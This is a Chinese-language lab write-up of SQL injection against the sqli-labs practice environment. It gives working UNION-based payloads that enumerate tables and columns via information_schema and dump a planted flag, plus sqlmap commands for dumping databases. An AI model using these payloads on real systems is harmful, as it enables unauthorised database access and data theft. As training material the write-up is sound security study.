环境:sql-labs-master ,且在该数据库中设置flag表并储存 flag{ victory! } 值
补充知识点:union select 1,group_concat(table_name), 3 from information_schema.tables where table_schema=database()
group_concat():把相同一组拼接起来,也仅限于拼接后的结果小于255个字符,varchar(255)超过后并不会显示全,使用时注意group_concat()函数有返回长度 限制
information_schema:
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
原文:https://www.jianshu.com/p/5903e8c002ed
手工注入:
- 单引号闭合语句且‘ --+ ’注释掉后面的语句后,使用order by 数值 从而拿到该数据表的字段值
- 在单引号闭合语句和 ‘ --+ ’注释语句中间插入‘ and 1=0 union select 1,version(),user() ’语句,既使得前面的查询语句失效从而执行后面的联合语句,又能爆破出版本信息、数据库和用户权限。
- 拼接语句为:“ ?id=1 and 1=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()), 3 --+ ” 或者为:“ ?id=1 and 1=0 union select 1,group_concat(table_name), 3 from information_schema.tables where table_schema=database() --+ ”
最后在数据库中拼接成并执行的语句:select * from users where id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database(); -
- 查目标数据表字段 “ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name ='flag') --+ ”
- 获取字段数值,由上面获取的信息可知flag放在了flag表的flag字段中,“ ?id=0 union select 1,2,(select flag from flag) --+ ”
Sqlmap注入:
- Bp截包并复制粘贴到txt文件中
- 爆破数据库:sqlmap -r test.txt –dbs
- 爆破数据表: sqlmap -r test.txt -D security -- tables
- 爆破数据字段:sqlmap -r test.txt -D security -T flag --columns
- 爆破数据:sqlmap -r test.txt -D security -T flag -C flag --dump